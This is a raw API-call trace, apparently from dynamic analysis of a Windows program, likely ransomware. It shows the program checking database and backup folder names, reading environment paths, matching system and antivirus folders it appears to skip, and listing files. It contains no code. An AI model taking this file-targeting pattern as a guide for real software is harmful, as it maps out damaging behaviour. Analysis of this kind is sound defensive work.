[0048.570] GlobalUnlock (hMem=0x44000c) returned 0 [0048.570] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.570] GlobalUnlock (hMem=0x440004) returned 0 [0048.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b38, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@奂U外U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0048.571] GetLastError () returned 0x3 [0048.571] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0048.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0048.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b38, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0048.572] GetLastError () returned 0x2 [0048.572] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0048.572] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0048.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b38, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0048.573] GetLastError () returned 0x2 [0048.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.573] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0048.573] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0048.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b38, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@∜R企@\x18?T\x18D")) returned 0xffffffff [0048.573] GetLastError () returned 0x2 [0048.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.573] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0048.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0048.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b38, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@塤U企@\x18翌R\x18j")) returned 0xffffffff [0048.574] GetLastError () returned 0x2 [0048.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0048.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0048.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b38, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@⭌R企@\x18?T\x18q")) returned 0xffffffff [0048.574] GetLastError () returned 0x2 [0048.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\翈RĀ") returned 6 [0048.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0048.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b38, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@坜U企@\x18?T\x18y")) returned 0xffffffff [0048.575] GetLastError () returned 0x2 [0048.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0048.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0048.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b38, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0048.576] GetLastError () returned 0x2 [0048.576] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.576] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0048.576] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0048.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b38, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@∜R企@\x18?T\x18\x88")) returned 0xffffffff [0048.576] GetLastError () returned 0x2 [0048.576] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.576] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0048.576] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0048.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b38, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@坜U企@\x18?T\x18\x8f")) returned 0xffffffff [0048.577] GetLastError () returned 0x2 [0048.577] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.577] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0048.577] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0048.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557978, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b38, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蜄T䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0048.577] GetLastError () returned 0x2 [0048.577] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.577] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0048.577] GlobalLock (hMem=0x440004) returned 0x555968 [0048.577] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.577] GlobalUnlock (hMem=0x440004) returned 0 [0048.578] GlobalLock (hMem=0x440004) returned 0x555968 [0048.578] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.578] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.578] GlobalUnlock (hMem=0x440004) returned 0 [0048.578] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.578] GlobalUnlock (hMem=0x44000c) returned 0 [0048.578] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.578] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.578] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.578] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.578] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.578] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.578] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.578] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.578] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.579] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.579] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.579] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ba0, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.579] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.579] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.579] GlobalUnlock (hMem=0x44000c) returned 0 [0048.579] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.579] GlobalLock (hMem=0x440004) returned 0x557978 [0048.579] GlobalHandle (pMem=0x555968) returned 0x44000c [0048.579] GlobalUnlock (hMem=0x44000c) returned 0 [0048.579] GlobalHandle (pMem=0x557978) returned 0x440004 [0048.579] GlobalUnlock (hMem=0x440004) returned 0 [0048.579] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.579] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.579] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.579] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.580] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.580] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.580] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.580] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0048.580] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.580] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0048.580] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.580] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0048.580] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.580] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0048.581] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b88, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.581] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\") returned 0x59 [0048.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0048.582] GlobalLock (hMem=0x440004) returned 0x555968 [0048.582] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.582] GlobalUnlock (hMem=0x440004) returned 0 [0048.582] GlobalLock (hMem=0x440004) returned 0x555968 [0048.582] GlobalLock (hMem=0x44000c) returned 0x557978 [0048.582] GlobalHandle (pMem=0x555968) returned 0x440004 [0048.582] GlobalUnlock (hMem=0x440004) returned 0 [0048.582] GlobalHandle (pMem=0x557978) returned 0x44000c [0048.582] GlobalUnlock (hMem=0x44000c) returned 0 [0048.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.582] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.582] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0048.582] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.582] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.582] GlobalLock (hMem=0x44000c) returned 0x555968 [0048.582] GlobalHandle 